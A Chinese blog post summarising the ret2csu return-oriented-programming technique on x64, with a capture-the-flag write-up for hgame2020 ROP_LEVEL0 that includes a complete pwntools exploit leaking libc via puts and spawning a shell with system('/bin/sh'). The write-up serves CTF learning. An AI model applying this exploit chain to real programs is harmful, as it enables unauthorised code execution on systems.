栈溢出总结之中级ROP

ret2csu

原理:
(所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。)

在64位程序中,函数的前6个参数是通过寄存器传递的,但是大多时候,我们很难找到每一个寄存器对应的gadgets。而这时我们就可以利用x64下的 __libc_csu_init中的gadgets。这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数是一定存在的。不同版本的 libc_csu_init有一定的区别。
在这里插入图片描述
在这里插入图片描述
我们可以利用多的点:
1、从0x40074A到结尾,我们可以利用栈溢出构造栈上数据来控制rbx,rbp,r12,r13,r14,r15寄存器的数据。
2、从0x400730到0x400739,我们可以将r13赋给rdx,将r14赋给rsi,将r15d赋给edi,而这三个寄存器,也是x64函数调用中传递的前三个寄存器。此外,如果我们可以合理的控制r12和rbx,那么我们就可以调用我们想要调用的函数。比如我们可以控制rbx为0,r12存储为我们想要调用的函数地址。
3、从0x400730到0x400744,我们可以控制rbx与rbp的之间的关系为rbx+1=rbp,这样我们就不会执行loc_400730,进而可以继续执行下面的汇编程序。这里我们可以简单的设置rbx=0,rbp=1。

例子:
(原题为hgame2020的ROP_LEVEL0)
64位程序,只开启的NX堆栈不可执行保护。
主函数:一个简单的栈溢出漏洞。
在这里插入图片描述
浏览程序后,发现并没有system函数地址,也没有/bin/sh字符串。所以我们要泄露libc函数的从而拿到system函数和/bin/sh字符串真正的地址。
但是我们又发现了vuln函数,并且其存在栈溢出漏洞。
在这里插入图片描述

我们看到主函数的第一个read处只能溢出0x10个字节,即两个地址。当发现vuln函数中的read函数可以溢出大量地址。所以我们可以利用主函数中的第一个read函数的返回地址为vuln从而利用vuln中的read泄露libc地址。
思路:
1、通过read函数调用vuln函数。
2、利用栈溢出执行libc_csu_gadgets泄露puts函数的got表,获取puts函数地址,并使程序重新返回vuln函数。
3、根据libcsearcher获取对应libc版本及system函数地址以及/bin/sh地址。
4、再次利用栈溢出执行system(’/bin/sh’)获取shell。

exp:

from pwn import *
from LibcSearcher import*
#context.log_level='debug'
elf=ELF('./ROP_LEVEL0')
p=process('./ROP_LEVEL0')

puts_got=elf.got['puts']
log.success('puts_got => {}'.format(hex(puts_got)))
padding='a'*0x50+'a'*8
vuln_addr=elf.symbols['vuln']
payload1=padding+p64(vuln_addr)
p.sendline(payload1)

csu_front_add=0x400730
csu_end_add=0x40074A
pop_rdi_ret=0x400753

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = 'a' * 0x18
    payload += p64(csu_end_add) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_add)
    payload += p64(last)*8
    p.sendline(payload)

csu(0,1,puts_got,puts_got,puts_got,puts_got,vuln_addr)
p.recvline()
puts_add = u64(str(p.recv(6)+'\x00\x00'))
log.success('puts_add => {}'.format(hex(puts_add)))

obj=LibcSearcher('puts',puts_add)
puts_offset=obj.dump('puts')
system_offset=obj.dump('system')
bin_sh_offset=obj.dump('str_bin_sh')
puts_base=puts_add-puts_offset
log.success('puts_base => {}'.format(hex(puts_base)))

system_add=puts_base+system_offset
bin_sh_add=puts_base+bin_sh_offset
log.success('system_add => {}'.format(hex(system_add)))
log.success('bin_sh_add => {}'.format(hex(bin_sh_add)))

payload2='a'*0x18+p64(pop_rdi_ret)+p64(bin_sh_add)+p64(system_add)
p.sendline(payload2)
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值